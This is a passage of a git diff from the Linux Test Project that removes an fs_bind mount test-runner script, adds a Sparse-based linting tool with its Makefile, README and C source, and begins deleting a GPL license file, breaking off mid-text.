-	LTPROOT="${PWD}"
-	echo "${LTPROOT}" | grep testscripts > /dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		cd ..
-		LTPROOT="${PWD}"
-	fi
-
-	FS_BIND_ROOT="${LTPROOT}/testcases/bin/fs_bind"
-
-	total=0 # total number of tests
-	for dir in "${test_dirs[@]}" ; do
-		((total += `ls "${FS_BIND_ROOT}/${dir}/test"* | wc -l`))
-	done
-	TST_TOTAL=${total}
-
-	# set the PATH to include testcases/bin
-	LTPBIN="${LTPROOT}/testcases/bin"
-	PATH="${PATH}:/usr/sbin:${LTPBIN}:${FS_BIND_ROOT}/bin"
-
-	# Results directory
-	resdir="${LTPROOT}/results/fs_bind"
-	if [ ! -d "${resdir}" ]; then
-		mkdir -p "${resdir}" 2> /dev/null
-	fi
-
-	TMPDIR="${TMPDIR:-/tmp}"
-	# A temporary directory where we can do stuff and that is
-	# safe to remove
-	sandbox="${TMPDIR}/sandbox"
-
-	ERR_MSG=""
-
-	export LTPBIN PATH FS_BIND_ROOT ERR_MSG TCID TST_COUNT TST_TOTAL
-
-	if [ ! -d "${resdir}" ]; then
-		tst_brkm TBROK true "$0: failed to make results directory"
-		exit 1
-	fi
-}
-
-test_prereqs()
-{
-	# Must be root to run the containers testsuite
-	if [ $UID != 0 ]; then
-		tst_brkm TBROK true "FAILED: Must be root to execute this script"
-		exit 1
-	fi
-
-	mkdir "${sandbox}" >& /dev/null
-	if [ ! -d "${sandbox}" -o ! -x "${sandbox}" ]; then
-		tst_brkm TBROK true "$0: failed to make directory \"${sandbox}\""
-		exit -1
-	fi
-
-	mount --bind "${sandbox}" "${sandbox}" >& /dev/null
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK true "$0: failed to perform bind mount on directory \"${sandbox}\""
-		exit 1
-	fi
-
-	mount --make-private "${sandbox}" >& /dev/null
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK true "$0: failed to make private mountpoint on directory \"${sandbox}\""
-		exit 1
-	fi
-
-	local mnt_bind=1
-	local mnt_move=1
-
-	pushd "${sandbox}" > /dev/null && {
-		mkdir bind_test move_test && {
-			mount --bind bind_test bind_test && {
-				mnt_bind=0
-				mount --move bind_test move_test && {
-					mnt_move=0
-					umount move_test
-				} || {
-					# bind mount succeeded but move mount
-					# failed
-					umount bind_test
-				}
-			} || {
-				# mount failed -- check if it's because we
-				# don't have privileges we need
-				if [ $? -eq 32 ]; then
-					tst_brkm TBROK true "$0 requires the privilege to use the mount command"
-					exit 32
-				fi
-			}
-			rmdir bind_test move_test
-		}
-		popd > /dev/null
-	}
-
-	if [ ${mnt_bind} -eq 1 -o ${mnt_move} -eq 1 ]; then
-		tst_brkm TBROK true "$0: requires that mount support the --bind and --move options"
-		exit 1
-	fi
-
-	if tst_kvcmp -lt "2.6.15"; then
-		tst_resm TWARN "$0: the remaining tests require 2.6.15 or later"
-		tst_exit 0
-		exit
-	else
-		tst_resm TINFO "$0: kernel >= 2.6.15 detected -- continuing"
-	fi
-
-	mount --make-shared "${sandbox}" > /dev/null 2>&1 || "${FS_BIND_ROOT}/bin/smount" "${sandbox}" shared
-	umount "${sandbox}" || {
-		tst_resm TFAIL "$0: failed to umount simplest shared subtree"
-		exit 1
-	}
-	tst_resm TPASS "$0: umounted simplest shared subtree"
-
-}
-
-# mounts we are concerned with in a well-defined order (helps diff)
-# returns grep return codes
-grep_proc_mounts()
-{
-	local rc=0
-
-	# Save the pipefail shell option
-	shopt -o -q pipefail
-	local save=$?
-	set -o pipefail
-
-	# Grep /proc/mounts which is often more up-to-date than mounts
-	# We use pipefail because if the grep fails we want to pass that along
-	grep -F "${sandbox}" /proc/mounts | sort -b
-	rc=$?
-
-	# Restore the pipefail shell options
-	[ $save -eq 0 ] && shopt -o -s pipefail || shopt -o -u pipefail
-
-	return $rc
-}
-
-# Record the mount state
-save_proc_mounts()
-{
-	touch "$2/proc_mounts.before" >& /dev/null
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK true "$1: failed to record proc mounts"
-		return 1
-	fi
-
-	grep_proc_mounts 2> /dev/null > "$2/proc_mounts.before"
-	return 0
-}
-
-# Compare mount list after the test with the list from before.
-# If there are no differences then remove the before list and silently
-# return 0. Else print the differences to stderr and return 1.
-check_proc_mounts()
-{
-	local tname="$1"
-
-	if [ ! -r "$2/proc_mounts.before" ]; then
-		tst_brkm TBROK true "${tname}: Could not find pre-test proc mount list"
-		return 1
-	fi
-
-	grep_proc_mounts 2> /dev/null > "$2/proc_mounts.after"
-	# If the mounts are the same then just return
-	diff ${dopts} -q "$2/proc_mounts.before" "$2/proc_mounts.after" >& /dev/null
-	if [ $? -eq 0 ]; then
-		[ $rm_ok -eq 1 ] && rm -f "$2/proc_mounts."{before,after}
-		return 0
-	fi
-
-	tst_resm TWARN "${tname}: did not properly clean up its proc mounts"
-	diff ${dopts} -U 0 "$2/proc_mounts.before" "$2/proc_mounts.after" | grep -vE '^\@\@' 1>&2
-	[ $rm_err -eq 1 ] && rm -f "$2/proc_mounts."{before,after}
-	return 1
-}
-
-# Undo leftover mounts
-restore_proc_mounts()
-{
-	#local tname="$1"
-
-	# do lazy umounts -- we're assuming that tests will only leave
-	# new mounts around and will never remove mounts outside the test
-	# directory
-	( while grep_proc_mounts ; do
-		grep_proc_mounts | awk '{print $2}' | xargs -r -n 1 umount -l
-	done ) >& /dev/null
-
-	# mount list and exit with 0
-	[ $rm_err -eq 1 ] && rm -f "$2/proc_mounts."{before,after} 1>&2 # >& /dev/null
-	return 0
-	# if returning error do this:
-	# tst_brkm TBROK true "${tname}: failed to restore mounts"
-}
-
-# mounts we are concerned with in a well-defined order (helps diff)
-# returns grep return codes
-grep_mounts()
-{
-	local rc=0
-
-	# Save the pipefail shell option
-	shopt -o -q pipefail
-	local save=$?
-	set -o pipefail
-
-	# Grep mount command output (which tends to come from /etc/mtab)
-	# We use pipefail because if the grep fails we want to pass that along
-	mount | grep -F "${sandbox}" | sort -b
-	rc=$?
-
-	# Restore the pipefail shell options
-	[ $save -eq 0 ] && shopt -o -s pipefail || shopt -o -u pipefail
-
-	return $rc
-}
-
-# Record the mount state
-save_mounts()
-{
-	touch "$2/mtab.before" >& /dev/null
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK true "$1: failed to record mtab mounts"
-		return 1
-	fi
-
-	grep_mounts 2> /dev/null > "$2/mtab.before"
-	return 0
-}
-
-# Compare mount list after the test with the list from before.
-# If there are no differences then remove the before list and silently
-# return 0. Else print the differences to stderr and return 1.
-check_mounts()
-{
-	local tname="$1"
-
-	if [ ! -r "$2/mtab.before" ]; then
-		tst_brkm TBROK true "${tname}: Could not find pre-test mtab mount list"
-		return 1
-	fi
-
-	grep_mounts 2> /dev/null > "$2/mtab.after"
-	# If the mounts are the same then just return
-	diff ${dopts} -q "$2/mtab.before" "$2/mtab.after" >& /dev/null
-	if [ $? -eq 0 ]; then
-		[ $rm_ok -eq 1 ] && rm -f "$2/mtab."{before,after}
-		return 0
-	fi
-
-	tst_resm TWARN "${tname}: did not properly clean up its mtab mounts"
-	diff ${dopts} -U 0 "$2/mtab.before" "$2/mtab.after" | grep -vE '^\@\@' 1>&2
-	[ $rm_err -eq 1 ] && rm -f "$2/mtab."{before,after}
-	return 1
-}
-
-# Undo leftover mounts
-restore_mounts()
-{
-	#local tname="$1"
-
-	# do lazy umounts -- we're assuming that tests will only leave
-	# new mounts around and will never remove mounts outside the test
-	# directory
-	( while grep_mounts ; do
-		grep_mounts | awk '{print $3}' | xargs -r -n 1 umount -l
-	done ) >& /dev/null
-
-	# mount list and exit with 0
-	[ $rm_err -eq 1 ] && rm -f "$2/mtab."{before,after} 1>&2 # >& /dev/null
-	return 0
-	# if returning error do this:
-	# tst_brkm TBROK true "${tname}: failed to restore mounts"
-}
-
-# Record the sandbox state
-# We don't save full sandbox state -- just the names of files and dirs present
-save_sandbox()
-{
-	local when="before"
-	local tname="$1"
-
-	if [ -e "$2/files.before" ]; then
-		if [ -e "$2/files.after" ]; then
-			tst_brkm TBROK true "${tname}: stale catalog of \"${sandbox}\""
-			return 1
-		fi
-		when="after"
-	fi
-
-	( find "${sandbox}" -type d -print | sort > "$2/dirs.$when"
-	  find "${sandbox}" -type f -print | sort | \
-		grep -vE '^'"$2"'/(dirs|files)\.(before|after)$' > "$2/files.$when" ) >& /dev/null
-	return 0
-}
-
-# Save sandbox after test and then compare. If the sandbox state is not
-# clean then print the differences to stderr and return 1. Else remove all
-# saved sandbox state and silently return 0
-check_sandbox()
-{
-	local tname="$1"
-
-	if [ ! -r "$2/files.before" -o ! -r "$2/dirs.before" ]; then
-		tst_brkm TBROK true "${tname} missing saved catalog of \"${sandbox}\""
-		return 1
-	fi
-
-	save_sandbox "${tname} (check)" "$2"
-
-	( diff ${dopts} -q "$2/dirs.before" "$2/dirs.after" && \
-	  diff ${dopts} -q "$2/files.before" "$2/files.after" )  >& /dev/null \
-	  && {
-		[ $rm_ok -eq 1 ] && rm -f "$2/"{files,dirs}.{before,after}
-		return 0
-	}
-
-	tst_resm TWARN "${tname} did not properly clean up \"${sandbox}\""
-	diff ${dopts} -U 0 "$2/dirs.before" "$2/dirs.after" 1>&2
-	diff ${dopts} -U 0 "$2/files.before" "$2/files.after" 1>&2
-	[ $rm_err -eq 1 ] && rm -f "$2/"{files,dirs}.{before,after} 1>&2
-	return 1
-}
-
-# Robust sandbox cleanup
-clean_sandbox()
-{
-	local tname="$1"
-
-	{ rm -rf "${sandbox}" ; mkdir "${sandbox}" ; } >& /dev/null
-	if [ ! -d "${sandbox}" -o ! -x "${sandbox}" ]; then
-		tst_brkm TBROK true "$tname: failed to make directory \"${sandbox}\""
-		return 1
-	fi
-	return 0
-}
-
-# Check file for non-whitespace chars
-is_file_empty()
-{
-	awk '/^[[:space:]]*$/  { next }
-	      { exit 1; }' < "$1"
-}
-
-#
-# Run the specified test script.
-#
-# Return 1 if the test was broken but should not stop the remaining test
-#	categories from being run.
-# Return 2 if the test was broken and no further tests should be run.
-# Return 0 otherwise (if the test was broken but it shouldn't affect other
-#	test runs)
-# Note that this means the return status is not the success or failure of the
-#	test itself.
-#
-run_test()
-{
-	local t="$1"
-	local tname="$(basename "$(dirname "$t")")/$(basename "$t")"
-	local log="$resdir/$tname/log"
-	local errlog="$resdir/$tname/err"
-	local do_break=0
-
-	ERR_MSG=""
-
-	# Pre-test
-	mkdir -p "$resdir/$tname"
-	if [ ! -d "$resdir/$tname" -o ! -x "$resdir/$tname" ]; then
-		tst_brkm TBROK true "$0: can't make or use \"$resdir/$tname\" as a log directory"
-		return 1
-	fi
-
-	save_sandbox "$tname" "$resdir/$tname" || do_break=1
-	save_mounts "$tname" "$resdir/$tname" || do_break=1
-	save_proc_mounts "$tname" "$resdir/$tname" || do_break=1
-	mount --bind "${sandbox}" "${sandbox}" >& /dev/null || do_break=1
-	mount --make-private "${sandbox}" >& /dev/null || do_break=1
-
-	if [ $do_break -eq 1 ]; then
-		umount -l "${sandbox}" >& /dev/null
-		tst_brkm TBROK true "$tname: failed to save pre-test state of \"${sandbox}\""
-		return 2
-	fi
-	pushd "${sandbox}" > /dev/null
-
-	# Run the test
-	(
-		TCID="$tname"
-		declare -r TST_COUNT
-		export LTPBIN PATH FS_BIND_ROOT ERR_MSG TCID TST_COUNT TST_TOTAL
-		"$t" #> "$log" 2> "$errlog"
-	)
-	local rc=$?
-	TCID="$0"
-
-	# Post-test
-	popd > /dev/null
-	if [ $rc -ne 0 ]; then
-		#echo "FAILED"
-		((nfailed++))
-	else
-		#echo "SUCCEEDED"
-		((nsucceeded++))
-	fi
-	umount -l "${sandbox}" >& /dev/null
-	check_proc_mounts "$tname" "$resdir/$tname" || \
-	restore_proc_mounts "$tname" "$resdir/$tname" || do_break=1
-	check_mounts "$tname" "$resdir/$tname" || \
-	restore_mounts "$tname" "$resdir/$tname" || do_break=1
-	check_sandbox "$tname" "$resdir/$tname"
-	clean_sandbox "$tname" || do_break=1
-	if [ $do_break -eq 1 ]; then
-		tst_brkm TBROK true "$tname: failed to restore pre-test state of \"${sandbox}\""
-		return 2
-	fi
-
-	# If we succeeded and the error log is empty remove it
-	if [ $rc -eq 0 -a -w "$errlog" ] && is_file_empty "$errlog" ; then
-		rm -f "$errlog"
-	fi
-	return 0
-}
-
-main()
-{
-	TST_COUNT=1
-	for dir in "${test_dirs[@]}" ; do
-		tests=( $(find "${FS_BIND_ROOT}/${dir}" -type f -name 'test*') )
-		clean_sandbox "$0" || break
-		for t in "${tests[@]}" ; do
-			run_test "$t"
-			local rc=$?
-
-			if [ $rc -ne 0 ]; then
-				break $rc
-			fi
-
-			((TST_COUNT++))
-		done
-	done
-	rm -rf "${sandbox}"
-	return 0
-
-	skipped=$((total - nsucceeded - nfailed))
-	if [ $nfailed -eq 0 -a $skipped -eq 0 ]; then
-		# Use PASSED for the summary rather than SUCCEEDED to make it
-		# easy to determine 100% success from a calling script
-		summary="PASSED"
-	else
-		# Use FAILED to make it easy to find > 0% failure from a
-		# calling script
-		summary="FAILED"
-	fi
-	cat - <<-EOF
-		*********************************
-		RESULTS SUMMARY:
-
-			passed:  $nsucceeded/$total
-			failed:  $nfailed/$total
-			skipped: $skipped/$total
-			summary: $summary
-
-		*********************************
-	EOF
-}
-
-test_setup || exit 1
-test_prereqs || exit 1
-declare -r FS_BIND_ROOT
-declare -r TST_TOTAL
-main  #2> "$resdir/errors" 1> "$resdir/summary"
diff --git a/tools/Makefile b/tools/Makefile
index def1c6f..adbf4fe 100644
--- a/tools/Makefile
+++ b/tools/Makefile
@@ -28,4 +28,6 @@
 
 INSTALL_DIR		:= bin
 
+FILTER_OUT_DIRS		+= sparse
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/tools/sparse/.gitignore b/tools/sparse/.gitignore
new file mode 100644
index 0000000..b2d2c37
--- /dev/null
+++ b/tools/sparse/.gitignore
@@ -0,0 +1 @@
+sparse-ltp
diff --git a/tools/sparse/Makefile b/tools/sparse/Makefile
new file mode 100644
index 0000000..d35c9ca
--- /dev/null
+++ b/tools/sparse/Makefile
@@ -0,0 +1,27 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 SUSE LLC <rpalethorpe@suse.com>
+
+top_srcdir		?= ../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+include $(top_srcdir)/include/mk/functions.mk
+
+SPARSE_SRC	?= sparse-src
+
+$(SPARSE_SRC)/Makefile:
+ifeq ($(SPARSE_SRC),sparse-src)
+	git submodule update --init
+else
+	$(error "Can't find $(SPARSE_SRC)/Makefile")
+endif
+
+$(SPARSE_SRC)/libsparse.a: $(SPARSE_SRC)/Makefile
+	$(MAKE) -C $(SPARSE_SRC) libsparse.a
+
+HOST_MAKE_TARGETS	:= sparse-ltp
+MAKE_DEPS		+= $(SPARSE_SRC)/libsparse.a
+HOST_CFLAGS		+= -I$(SPARSE_SRC) -Werror -Wno-null-pointer-subtraction
+HOST_LDLIBS		+= $(SPARSE_SRC)/libsparse.a
+
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/tools/sparse/README.md b/tools/sparse/README.md
new file mode 100644
index 0000000..aaf24f7
--- /dev/null
+++ b/tools/sparse/README.md
@@ -0,0 +1,51 @@
+# Sparse based linting
+
+This tool checks LTP test and library code for common problems.
+
+## Usage
+
+It is integrated with the LTP build system. Just run `make check` or
+`make check-a_test01`, where `a_test01` is an arbitrary test
+executable or object file.
+
+## Building
+
+The bad news is you must get and build Sparse[^1]. The good news is
+that this only takes a minute and the build system does it for
+you. Just try running `make check` as described above.
+
+However if you want to reuse an existing Sparse checkout. Then you can
+do the following. Where `$SRC_PATH` is the path to the Sparse
+directory.
+
+```sh
+$ cd tools/sparse
+$ make SPARSE_SRC=$SRC_PATH
+```
+You can also manually fetch it via the git submodule
+
+```sh
+$ cd tools/sparse
+$ git submodule update --init
+```
+
+### Modifying CFLAGS and -m32
+
+When compiling the LTP with `-m32` it may break building
+`sparse-ltp`. We do not pass LTP's `CFLAGS` or `HOST_CFLAGS` to
+`libsparse.a`. In the best case it produces a lot of noise, in the
+worst it breaks building anyway.
+
+To avoid issues with m32, just pre-build the checker with a non-m32
+config. It won't need to be built again unless you are modifying the
+tool itself. Similar issues with cross-compiling could be handled in a
+similar way. Simply pre-build `sparse-ltp` and `libsparse.a` with a separate
+config.
+
+### Clang
+
+Note that while it is possible to build Sparse with Clang. This may
+cause some issues. Namely `GCC_BASE` is set to the Clang resource
+directory. This contains some headers Sparse can not parse.
+
+[1]: Many distributions have a Sparse package. This only contains some executables. There is no shared library
diff --git a/tools/sparse/sparse-ltp.c b/tools/sparse/sparse-ltp.c
new file mode 100644
index 0000000..d649ee7
--- /dev/null
+++ b/tools/sparse/sparse-ltp.c
@@ -0,0 +1,324 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ *
+ * Sparse allows us to perform checks on the AST (struct symbol) or on
+ * a linearized representation. In the latter case we are given a set
+ * of entry points (functions) containing basic blocks of
+ * instructions.
+ *
+ * The basic blocks contain byte code in SSA form. This is similar to
+ * the intermediate representation most compilers use during
+ * optimisation.
+ */
+#include <stdarg.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <ctype.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+#include "lib.h"
+#include "allocate.h"
+#include "opcode.h"
+#include "token.h"
+#include "parse.h"
+#include "symbol.h"
+#include "expression.h"
+#include "linearize.h"
+
+/* The rules for test, library and tool code are different */
+enum ltp_tu_kind {
+	LTP_LIB,
+	LTP_OTHER,
+};
+
+static enum ltp_tu_kind tu_kind = LTP_OTHER;
+
+/* Check for LTP-002
+ *
+ * Inspects the destination symbol of each store instruction. If it is
+ * TST_RET or TST_ERR then emit a warning.
+ */
+static void check_lib_sets_TEST_vars(const struct instruction *insn)
+{
+	static struct ident *TST_RES_id, *TST_ERR_id;
+
+	if (!TST_RES_id) {
+		TST_RES_id = built_in_ident("TST_RET");
+		TST_ERR_id = built_in_ident("TST_ERR");
+	}
+
+	if (insn->opcode != OP_STORE)
+		return;
+	if (insn->src->ident != TST_RES_id &&
+	    insn->src->ident != TST_ERR_id)
+		return;
+
+	warning(insn->pos,
+		"LTP-002: Library should not write to TST_RET or TST_ERR");
+}
+
+static void do_basicblock_checks(struct basic_block *bb)
+{
+	struct instruction *insn;
+
+	FOR_EACH_PTR(bb->insns, insn) {
+		if (!bb_reachable(insn->bb))
+			continue;
+
+		if (tu_kind == LTP_LIB)
+			check_lib_sets_TEST_vars(insn);
+	} END_FOR_EACH_PTR(insn);
+}
+
+static void do_entrypoint_checks(struct entrypoint *ep)
+{
+	struct basic_block *bb;
+
+	FOR_EACH_PTR(ep->bbs, bb) {
+		do_basicblock_checks(bb);
+	} END_FOR_EACH_PTR(bb);
+}
+
+/* The old API can not comply with the rules. So when we see one of
+ * these symbols we know that it will result in further
+ * warnings. Probably these will suggest inappropriate things. Usually
+ * these symbols should be removed and the new API used
+ * instead. Otherwise they can be ignored until all tests have been
+ * converted to the new API.
+ */
+static bool check_symbol_deprecated(const struct symbol *const sym)
+{
+	static struct ident *TCID_id, *TST_TOTAL_id;
+	const struct ident *id = sym->ident;
+
+	if (!TCID_id) {
+		TCID_id = built_in_ident("TCID");
+		TST_TOTAL_id = built_in_ident("TST_TOTAL");
+	}
+
+	if (id != TCID_id && id != TST_TOTAL_id)
+		return false;
+
+	warning(sym->pos,
+		"Ignoring deprecated API symbol: '%s'. Should this code be converted to the new API?",
+		show_ident(id));
+
+	return true;
+}
+
+/* Check for LTP-003 and LTP-004
+ *
+ * Try to find cases where the static keyword was forgotten.
+ */
+static void check_symbol_visibility(const struct symbol *const sym)
+{
+	const unsigned long mod = sym->ctype.modifiers;
+	const char *const name = show_ident(sym->ident);
+	const int has_lib_prefix = !strncmp("tst_", name, 4) ||
+		!strncmp("TST_", name, 4) ||
+		!strncmp("ltp_", name, 4) ||
+		!strncmp("safe_", name, 5);
+
+	if (!(mod & MOD_TOPLEVEL))
+		return;
+
+	if (has_lib_prefix && (mod & MOD_STATIC) && !(mod & MOD_INLINE)) {
+		warning(sym->pos,
+			"LTP-003: Symbol '%s' has the LTP public library prefix, but is static (private).",
+			name);
+		return;
+	}
+
+	if ((mod & MOD_STATIC))
+		return;
+
+	if (tu_kind == LTP_LIB && !has_lib_prefix) {
+		warning(sym->pos,
+			"LTP-003: Symbol '%s' is a public library function, but is missing the 'tst_' prefix",
+			name);
+		return;
+	}
+
+	if (sym->same_symbol)
+		return;
+
+	if (sym->ident == &main_ident)
+		return;
+
+	warning(sym->pos,
+		"Symbol '%s' has no prototype or library ('tst_') prefix. Should it be static?",
+		name);
+}
+
+/* See base_type() in dissect.c */
+static struct symbol *unwrap_base_type(const struct symbol *sym)
+{
+	switch (sym->ctype.base_type->type) {
+	case SYM_ARRAY:
+	case SYM_NODE:
+	case SYM_PTR:
+		return unwrap_base_type(sym->ctype.base_type);
+	default:
+		return sym->ctype.base_type;
+	}
+}
+
+/* Checks if some struct array initializer is terminated with a blank
+ * (zeroed) item i.e. {}
+ */
+static bool is_terminated_with_null_struct(const struct symbol *const sym)
+{
+	const struct expression *const arr_init = sym->initializer;
+	const struct expression *item_init =
+		last_ptr_list((struct ptr_list *)arr_init->expr_list);
+
+	if (item_init->type == EXPR_POS)
+		item_init = item_init->init_expr;
+
+	if (item_init->type != EXPR_INITIALIZER)
+		return false;
+
+	return ptr_list_empty((struct ptr_list *)item_init->expr_list);
+}
+
+/* LTP-005: Check array sentinel value
+ *
+ * This is most important for the tags array. It is only accessed when
+ * the test fails. So we perform a static check to ensure it ends with
+ * {}.
+ */
+static void check_struct_array_initializer(const struct symbol *const sym)
+{
+	if (is_terminated_with_null_struct(sym))
+		return;
+
+	warning(sym->pos,
+		"LTP-005: Struct array doesn't appear to be null-terminated; did you forget to add '{}' as the final entry?");
+}
+
+/* Find struct tst_test test = { ... } and perform tests on its initializer */
+static void check_test_struct(const struct symbol *const sym)
+{
+	static struct ident *tst_test, *tst_test_test;
+	struct ident *ctype_name = NULL;
+	struct expression *init = sym->initializer;
+	struct expression *entry;
+
+	if (!sym->ctype.base_type)
+		return;
+
+	ctype_name = sym->ctype.base_type->ident;
+
+	if (!init)
+		return;
+
+	if (!tst_test_test) {
+		tst_test = built_in_ident("tst_test");
+		tst_test_test = built_in_ident("test");
+	}
+
+	if (sym->ident != tst_test_test)
+		return;
+
+	if (ctype_name != tst_test)
+		return;
+
+	FOR_EACH_PTR(init->expr_list, entry) {
+		if (entry->init_expr->type != EXPR_SYMBOL)
+			continue;
+
+		switch (entry->ctype->ctype.base_type->type) {
+		case SYM_PTR:
+		case SYM_ARRAY:
+			break;
+		default:
+			return;
+		}
+
+		const struct symbol *entry_init = entry->init_expr->symbol;
+		const struct symbol *entry_ctype = unwrap_base_type(entry_init);
+
+		if (entry_ctype->type == SYM_STRUCT)
+			check_struct_array_initializer(entry_init);
+	} END_FOR_EACH_PTR(entry);
+
+}
+
+/* AST level checks */
+static void do_symbol_checks(struct symbol *sym)
+{
+	if (check_symbol_deprecated(sym))
+		return;
+
+	check_symbol_visibility(sym);
+	check_test_struct(sym);
+}
+
+/* Compile the AST into a graph of basicblocks */
+static void process_symbols(struct symbol_list *list)
+{
+	struct symbol *sym;
+
+	FOR_EACH_PTR(list, sym) {
+		struct entrypoint *ep;
+
+		do_symbol_checks(sym);
+
+		expand_symbol(sym);
+		ep = linearize_symbol(sym);
+		if (!ep || !ep->entry)
+			continue;
+
+		do_entrypoint_checks(ep);
+
+		if (dbg_entry)
+			show_entry(ep);
+	} END_FOR_EACH_PTR(sym);
+}
+
+static void collect_info_from_args(const int argc, char *const *const argv)
+{
+	int i;
+
+	for (i = 0; i < argc; i++) {
+		if (!strcmp("-DLTPLIB", argv[i]))
+			tu_kind = LTP_LIB;
+	}
+}
+
+int main(int argc, char **argv)
+{
+	struct string_list *filelist = NULL;
+	char *file;
+
+	Waddress_space = 0;
+	Wbitwise = 0;
+	Wcast_truncate = 0;
+	Wcontext = 0;
+	Wdecl = 0;
+	Wexternal_function_has_definition = 0;
+	Wflexible_array_array = 0;
+	Wimplicit_int = 0;
+	Wint_to_pointer_cast = 0;
+	Wmemcpy_max_count = 0;
+	Wnon_pointer_null = 0;
+	Wone_bit_signed_bitfield = 0;
+	Woverride_init = 0;
+	Wpointer_to_int_cast = 0;
+	Wvla = 0;
+
+	do_output = 0;
+
+	collect_info_from_args(argc, argv);
+
+	process_symbols(sparse_initialize(argc, argv, &filelist));
+	FOR_EACH_PTR(filelist, file) {
+		process_symbols(sparse(file));
+	} END_FOR_EACH_PTR(file);
+
+	report_stats();
+	return 0;
+}
diff --git a/utils/Makefile b/utils/Makefile
index 9f79f5b..3429791 100644
--- a/utils/Makefile
+++ b/utils/Makefile
@@ -1,22 +1,5 @@
-################################################################################
-#
-# Copyright (c) International Business Machines  Corp., 2008 ##
-#
-# This program is free software;  you can redistribute it and#or modify ##
-# it under the terms of the GNU General Public License as published by ##
-# the Free Software Foundation; either version 2 of the License, or ##
-# (at your option) any later version. ##
-#
-# This program is distributed in the hope that it will be useful, but ##
-# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-# for more details. ##
-#
-# You should have received a copy of the GNU General Public License ##
-# along with this program;  if not, write to the Free Software ##
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ##
-#
-################################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2008
 
 top_srcdir		?= ..
 
diff --git a/utils/benchmark/ebizzy-0.3/LICENSE b/utils/benchmark/ebizzy-0.3/LICENSE
deleted file mode 100644
index 3912109..0000000
--- a/utils/benchmark/ebizzy-0.3/LICENSE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
